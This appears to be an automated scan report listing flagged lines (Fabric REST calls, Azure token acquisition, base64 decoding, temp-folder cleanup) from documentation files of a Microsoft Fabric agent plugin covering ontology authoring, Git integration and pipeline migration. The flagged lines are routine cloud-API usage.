harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/definition-script-templates.md

  • Network accessline 14
    `getDefinition` is long-running-operation-capable: it may return **200 OK** with the envelope inline, or **202 Accepted** with an `x-ms-operation-id` header. For 202, poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` until
  • Network accessline 20
    : "${WS_ID:?set WS_ID}"; : "${ONTO_ID:?set ONTO_ID}" WORK=$(mktemp -d) FABRIC_BASE="https://api.fabric.microsoft.com"
  • Network accessline 21
    [Credential-related source omitted]
  • Network accessline 22
    FABRIC_BASE="https://api.fabric.microsoft.com"
  • Network accessline 25
    # 1. Fetch current definition (handle 200 or 202 LRO) getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \
  • Network accessline 26
    getdef_http=$(curl -sS -D "$WORK/getdef.headers" -o "$WORK/getdef.body" -w "%{http_code}" \
  • Network accessline 35
    [Credential-related source omitted]
  • Network accessline 36
    [Credential-related source omitted]
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 39
    [Credential-related source omitted]
  • Network accessline 40
    [Credential-related source omitted]
  • Network accessline 41
    [Credential-related source omitted]
  • Network accessline 43
    [Credential-related source omitted]
  • Network accessline 44
    [Credential-related source omitted]
  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 65
    #    Note: base64 -w 0 is GNU-only; on macOS use `base64 | tr -d '\n'`. PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do     jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \
  • Network accessline 66
    PARTS_JSON=$(cd "$WORK/tree" && find . -type f | sed 's|^\./||' | while read -r p; do     jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \       '{path:$path,payload:$payload,payloadType:"InlineBase64"}'
  • Network accessline 67
    jq -nc --arg path "$p" --arg payload "$(base64 -w 0 < "$p")" \
  • Network accessline 73
    # 5. Send update (also an LRO — poll Location until Succeeded) upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \
  • Network accessline 74
    upd_http=$(curl -sS -D "$WORK/upd.headers" -o "$WORK/upd.body" -w "%{http_code}" \
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Network accessline 86
    [Credential-related source omitted]
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 90
    [Credential-related source omitted]
  • Network accessline 101
    > Both `getDefinition` and `updateDefinition` are LRO-capable; the template above captures `x-ms-operation-id` and polls `https://api.fabric.microsoft.com/v1/operations/{id}` (not the `Location` redirect host). See COMMON-CLI.md § Long-Runn
  • Network accessline 114
    $work = New-Item -ItemType Directory -Path (Join-Path $env:TEMP ("onto-" + [guid]::NewGuid())) $base = "https://api.fabric.microsoft.com"
  • Network accessline 115
    $base = "https://api.fabric.microsoft.com"
  • Network accessline 119
    # 1. Fetch (handle 200 or 202 LRO)
  • Possible obfuscationline 144
    [IO.File]::WriteAllBytes($out, [Convert]::FromBase64String($p.payload))

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/examples.md

  • Network accessline 25
    # Alternative: Fabric Tables API (table names only — no columns) az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \
  • Network accessline 26
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables"
  • Network accessline 27
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/lakehouses/${LH_ID}/tables" \
  • Network accessline 28
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 39
    # FASTEST: get ALL table schemas in the database in one call curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \
  • Network accessline 40
    curl -s -X POST "${CLUSTER_URI}/v1/rest/query" \
  • Network accessline 79
    az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \
  • Network accessline 81
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 86
    > Poll `https://api.fabric.microsoft.com/v1/operations/{operationId}` (capture `x-ms-operation-id` via `--verbose`) until `Succeeded`, then resolve `ONTO_ID` by listing `Ontology` items in the workspace. Do not poll the raw `Location` heade
  • Network accessline 99
    # --- Build the new parts --- ET_JSON=$(jq -nc \
  • Network accessline 100
    ET_JSON=$(jq -nc \
  • Network accessline 112
    BIND_JSON=$(jq -nc \
  • Network accessline 146
    REL_JSON=$(jq -nc --arg id "$OPERATES_REL_ID" --arg src "$HUB_ET_ID" --arg tgt "$AIRCRAFT_ET_ID" \
  • Network accessline 150
    CTX_JSON=$(jq -nc \
  • Network accessline 177
    #  entries to timeseriesProperties[], base64-encode, splice back in. Pseudo #  below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \
  • Network accessline 178
    #  below; see definition-script-templates.md for the full splice.) TS_PROPS_JSON=$(jq -nc \   --arg tsId "$AIRCRAFT_TS_TIMESTAMP_ID" \
  • Network accessline 179
    TS_PROPS_JSON=$(jq -nc \
  • Network accessline 189
    # are both required (CORE: timeseriesProperties must include a timestamp # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \
  • Network accessline 190
    # property bound via timestampColumnName). TS_BIND_JSON=$(jq -nc \   --arg id "$TS_BIND_GUID" \
  • Network accessline 191
    TS_BIND_JSON=$(jq -nc \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring/preview-and-confirm.md

  • Network accessline 202
    # Step A — fetch current state (after Step 3 of the workflow) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 203
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition"
  • Network accessline 204
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONTO_ID}/getDefinition" \
  • Network accessline 205
    --resource "https://api.fabric.microsoft.com" -o json > /tmp/onto.current.json

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption.md

  • Network accessline 17
    | Finding Workspaces and Items in Fabric           | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric)  | **Mandatory** — resolve workspace/item IDs before enumera
  • Network accessline 18
    | Fabric Topology & Key Concepts                   | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts)                 | Workspace → Item hierarchy                               
  • Network accessline 19
    | Authentication & Token Acquisition               | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition)         | Use `https://api.fabric.microsoft.com` audience for contr
  • Network accessline 22
    | Rate Limiting & Throttling                       | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling)                         |                                                          
  • Network accessline 23
    | Authentication Recipes                           | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes)                                  | `az login`; token acquisition                            
  • Network accessline 24
    | Fabric Control-Plane API via `az rest`           | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest)      | **Always** pass `--resource https://api.fabric.microsoft.
  • Network accessline 80
    - Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`).
  • Network accessline 86
    `Get Item Definition` is Long-Running-Operation-capable. Depending on tenant/SKU, the POST may return the definition envelope inline (`200 OK`) **or** return `202 Accepted` with an `x-ms-operation-id` header; for the 202 case, poll `https:/
  • Network accessline 88
    > **Ontology-preview gotcha — prefer polling the `operations/{id}` endpoint over the `Location` header.** The public Fabric LRO contract supports either, but on this Ontology LRO the `Location` header has been observed redirecting to an `*.
  • Network accessline 208
    | Symptom | Fix | |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.
  • Network accessline 209
    |---|---| | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for E
  • Network accessline 210
    | `az rest` returns `401 Unauthorized` | `az login`; confirm `--resource "https://api.fabric.microsoft.com"` on the control-plane call (and the matching downstream audience when delegating — `https://kusto.kusto.windows.net` for EH). |
  • Dangerous shell operationline 228
    | Situation | Inline (`az rest` / `curl`) | Python / shell script |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/examples.md

  • Network accessline 18
    WS_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 19
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 20
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 23
    ONT_ID=$(az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 24
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items?type=Ontology" \
  • Network accessline 25
    --resource "https://api.fabric.microsoft.com" \
  • Dangerous shell operationline 207
    rm -rf ./_ont

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/graph-walks.md

  • Network accessline 46
    Import-Module Az.Accounts $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token
  • Network accessline 47
    $FTOK = (Get-AzAccessToken -ResourceUrl "https://api.fabric.microsoft.com" -WarningAction SilentlyContinue).Token
  • Network accessline 48
    $STOK = (Get-AzAccessToken -ResourceUrl "https://storage.azure.com"        -WarningAction SilentlyContinue).Token
  • Network accessline 49
    # Optional, for KQL: $KTOK = (Get-AzAccessToken -ResourceUrl "https://kusto.kusto.windows.net" ...).Token
  • Network accessline 59
    $specs = @(@{key="anchor";lh=$lhId;tbl="panels"}) + $linkSpecs + $neighborSpecs $results = $specs | ForEach-Object -Parallel {   $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 61
    $u = "https://onelake.dfs.fabric.microsoft.com/$using:WS/$($_.lh)/Files/raw/$($_.tbl).csv"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/grounding-extraction.md

  • Network accessline 20
    # 1. Kick off the LRO, capture the operation id (stays on api.fabric.microsoft.com) OP_ID=$(az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \
  • Network accessline 21
    OP_ID=$(az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition"
  • Network accessline 22
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \
  • Network accessline 23
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 29
    exit 1 fi OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 31
    OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 33
    # 2. Poll until Succeeded (prefer the operations endpoint; Location polling is also supported with the right audience) while :; do   STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status
  • Network accessline 34
    while :; do   STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status')   case "$STATE" in
  • Network accessline 35
    STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status')
  • Network accessline 37
    Succeeded) break ;;     Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; \       az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 38
    Failed|Cancelled) echo "LRO ended in state: $STATE" >&2;        az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 39
    az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 44
    # 3. Retrieve the result DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com")
  • Network accessline 45
    DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com")
  • Possible obfuscationline 54
    printf '%s' "$P_PAYLOAD"      | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))"
  • Possible obfuscationline 55
    | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" \
  • Network accessline 75
    # 1. Kick off LRO; az rest emits the x-ms-operation-id header on the debug channel $verbose = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" `
  • Network accessline 76
    $verbose = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition"
  • Network accessline 77
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" `
  • Network accessline 78
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 81
    $opId = ($verbose -split "`n" | Where-Object { $_ -match 'x-ms-operation-id:\s*(\S+)' } | ForEach-Object { $matches[1] } | Select-Object -First 1) if (-not $opId) { throw "No x-ms-operation-id captured from getDefinition" } $opUrl = "https:
  • Network accessline 83
    $opUrl = "https://api.fabric.microsoft.com/v1/operations/$opId"
  • Network accessline 85
    # 2. Poll the operations endpoint (preferred; Location polling is also supported with the right audience) while ($true) {   $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 86
    while ($true) {   $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json   $state = $op.status
  • Network accessline 87
    $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 97
    # 3. Retrieve result $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 98
    $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Possible obfuscationline 105
    $bytes = [Convert]::FromBase64String($part.payload)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/query-pattern.md

  • Network accessline 9
    - **SQL (Lakehouse/Warehouse)**: `https://database.windows.net/.default`
  • Network accessline 11
    - **KQL (Eventhouse)**: `https://kusto.kusto.windows.net/.default` (NOT `kusto.fabric.microsoft.com`)
  • Network accessline 13
    - **Fabric REST API**: `https://api.fabric.microsoft.com/.default`
  • Network accessline 45
    - Kusto URI discovery: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/kqlDatabases/{db_id}` → `properties.queryServiceUri`
  • Network accessline 63
    - List workspace items: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items`

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/routing.md

  • Network accessline 214
    | Delegate returns 0 rows on a non-empty source | Casing mismatch on `sourceTableName` or stale `clusterUri` | Compare binding fields to live source; if still mismatched, switch to `fabriciq-ontology-cli` authoring mode | | Delegate times o
  • Network accessline 215
    | Delegate times out | Missing time filter on `TimeSeries` | Add `where <timestampColumnName> > ago(…)` / `>= DATEADD(...)`, retry | | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check
  • Network accessline 216
    | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check the delegate's own connection contract (EH: `https://kusto.kusto.windows.net`; Spark: Fabric token; SQL: Fabric token) |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/SKILL.md

  • Network accessline 28
    >    workspace, then filter by `displayName`. > 2. All Git operations are **control plane** calls against >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api`
  • Network accessline 29
    > 2. All Git operations are **control plane** calls against >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` >    sets the base URL and Fabric token audience automatically. With the `az rest`
  • Network accessline 30
    >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api`
  • Network accessline 119
    - `fab api` (after `fab auth login`) as the **primary** driver: it sets the base   URL and Fabric token audience automatically, avoiding the 401 wrong-audience   trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as th
  • Network accessline 120
    URL and Fabric token audience automatically, avoiding the 401 wrong-audience   trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the   **fallback** when `fab` is unavailable or you need fine-grained header control.
  • Network accessline 121
    trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the
  • Network accessline 154
    - `fab api <endpoint>` becomes `az rest --method GET --url "https://api.fabric.microsoft.com/v1/<endpoint>" --resource "https://api.fabric.microsoft.com"`.
  • Network accessline 175
    | Workspace has capacity | `fab api "workspaces/${WORKSPACE_ID}"` → check `capacityId` | `WorkspaceHasNoCapacityAssigned` → assign a capacity (Git requires one) | | Git credential for the SP path | `fab api connections` (reuse if one alread
  • Network accessline 177
    [Credential-related source omitted]
  • Network accessline 223
    [Credential-related source omitted]
  • Network accessline 224
    [Credential-related source omitted]
  • Network accessline 225
    [Credential-related source omitted]
  • Network accessline 226
    >   "https://api.github.com/repos/${OWNER}/${REPO}/contents/${DIR}/README.md" -d @mkfolder.json
  • Network accessline 267
    git provider credentials, then pass its `id` as the `connectionId` in the `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 268
    `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) (`POST /v1/connections`, delegated scope `Connection.ReadWrite.All`). A service
  • Network accessline 269
    [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 274
    **Information you must supply (Azure DevOps):** - ADO **organization**, **project**, and **repository** names, combined into one   `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/`
  • Network accessline 275
    - ADO **organization**, **project**, and **repository** names, combined into one   `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - The service principal's **tenant ID**, **client (application) ID**, and
  • Network accessline 276
    `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/`
  • Dangerous shell operationline 290
    trap 'rm -f connection.json' EXIT
  • Network accessline 299
    "parameters": [       { "dataType": "Text", "name": "url",         "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }
  • Network accessline 300
    { "dataType": "Text", "name": "url",         "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }     ]
  • Network accessline 301
    "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }
  • Network accessline 595
    | Operation returns `202` then nothing changes | Async not yet complete | Poll `operations/{id}` (from `--show_headers`), or poll `git/status` until heads match | | Operation stuck in `Running` for a long time | Large workspace or a second 
  • Network accessline 596
    | Operation stuck in `Running` for a long time | Large workspace or a second Git op is queued | Keep polling with a sane timeout (about 10 min); never start a second Git op concurrently | | `401 Unauthorized` | Wrong token audience | Run `f
  • Network accessline 597
    | `401 Unauthorized` | Wrong token audience | Run `fab auth login` (fab sets the audience automatically); on the `az rest` fallback pass `--resource https://api.fabric.microsoft.com` |
  • Network accessline 622
    # status az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \
  • Network accessline 623
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status"
  • Network accessline 624
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \
  • Network accessline 625
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 627
    # commit (body inline) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \
  • Network accessline 628
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit"
  • Network accessline 629
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \
  • Network accessline 630
    --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/automation-templates.md

  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/git-integration-concepts.md

  • Network accessline 154
    - [Overview of Fabric Git integration](https://learn.microsoft.com/fabric/cicd/git-integration/intro-to-git-integration) (providers, supported items; updated 2026-07-08).
  • Network accessline 155
    - [Git integration process](https://learn.microsoft.com/fabric/cicd/git-integration/git-integration-process) (concepts, sync, folders, permissions; updated 2026-07-08).
  • Network accessline 156
    - [Git integration admin settings](https://learn.microsoft.com/fabric/admin/git-integration-admin-settings) (tenant switches; updated 2026-07-01).

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/code-patterns.md

  • Network accessline 124
    # BEFORE — HDInsight: copy file via HDFS API from hdfs import InsecureClient client = InsecureClient("http://namenode:50070")
  • Network accessline 125
    from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") client.copy("/data/input/file.csv", "/data/archive/file.csv")
  • Network accessline 126
    client = InsecureClient("http://namenode:50070")
  • Network accessline 143
    [Credential-related source omitted]
  • Network accessline 144
    [Credential-related source omitted]
  • Network accessline 145
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 171
    <shell>         <exec>curl</exec>         <argument>-X POST https://api.example.com/trigger</argument>
  • Network accessline 172
    <exec>curl</exec>         <argument>-X POST https://api.example.com/trigger</argument>     </shell>
  • Network accessline 173
    <argument>-X POST https://api.example.com/trigger</argument>
  • Network accessline 184
    "type": "WebActivity",   "typeProperties": {     "url": "https://api.example.com/trigger",
  • Network accessline 185
    "typeProperties": {     "url": "https://api.example.com/trigger",     "method": "POST",
  • Network accessline 186
    "url": "https://api.example.com/trigger",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/path-migration.md

  • Network accessline 66
    The [OneLake shortcut overview](https://learn.microsoft.com/en-us/fabric/onelake/onelake-shortcuts)
  • Network accessline 67
    lists the supported shortcut sources. The [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google
  • Network accessline 68
    [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut)
  • Network accessline 69
    limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connecto
  • Network accessline 70
    Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview) documents HDFS as a Copy activity and Copy job sou
  • Network accessline 71
    The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/SKILL.md

  • Network accessline 88
    | Target | Token Audience | |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` |
  • Network accessline 89
    |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` |
  • Network accessline 90
    | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` |
  • Network accessline 91
    | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` |
  • Network accessline 92
    | Fabric REST API (create pipelines, connections, Variable Libraries) | `https://api.fabric.microsoft.com` |
  • Network accessline 98
    | Operation | Endpoint | |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` |
  • Network accessline 99
    |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` |
  • Network accessline 100
    | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` |
  • Network accessline 101
    | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` |
  • Network accessline 102
    | List all datasets | `GET https://{ws}.dev.azuresynapse.net/datasets?api-version=2020-12-01` |
  • Network accessline 103
    | Get dataset definition | `GET https://{ws}.dev.azuresynapse.net/datasets/{name}?api-version=2020-12-01` |
  • Network accessline 104
    | List all linked services | `GET https://{ws}.dev.azuresynapse.net/linkedservices?api-version=2020-12-01` |
  • Network accessline 105
    | Get linked service | `GET https://{ws}.dev.azuresynapse.net/linkedservices/{name}?api-version=2020-12-01` |
  • Network accessline 106
    | Get workspace (global parameters) | `GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}?api-version=2021-06-01` |
  • Network accessline 110
    | Operation | Endpoint | |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 111
    |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 112
    | List connections | `GET https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 113
    | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 114
    | Create pipeline item | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` |
  • Network accessline 115
    | Update pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/updateDefinition` |
  • Network accessline 116
    | Get pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/getDefinition` |
  • Network accessline 117
    | Create Variable Library | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` (type: `VariableLibrary`) |
  • Network accessline 118
    | List notebooks in workspace | `GET https://api.fabric.microsoft.com/v1/workspaces/{wsId}/notebooks` |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/activity-mapping.md

  • Network accessline 256
    "type": "WebActivity",   "typeProperties": {     "url": "https://api.example.com/data",
  • Network accessline 257
    "typeProperties": {     "url": "https://api.example.com/data",     "method": "POST",
  • Network accessline 258
    "url": "https://api.example.com/data",
  • Network accessline 267
    "authentication": {       "type": "MSI",       "resource": "https://management.azure.com/"
  • Network accessline 268
    "type": "MSI",       "resource": "https://management.azure.com/"     }
  • Network accessline 269
    "resource": "https://management.azure.com/"
  • Network accessline 318
    "authentication": {         "type": "MSI",         "resource": "https://vault.azure.net"
  • Network accessline 319
    "type": "MSI",         "resource": "https://vault.azure.net"       }
  • Network accessline 320
    "resource": "https://vault.azure.net"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/dataset-inlining.md

  • Network accessline 26
    [Credential-related source omitted]
  • Network accessline 27
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 32
    items = []     while url:         r = requests.get(url, headers=headers)
  • Network accessline 33
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 34
    r = requests.get(url, headers=headers)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/global-parameters-to-variable-library.md

  • Network accessline 45
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 47
    --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WORKSPACE}?api-version=2021-06-01" \
  • Network accessline 86
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 87
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 122
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 123
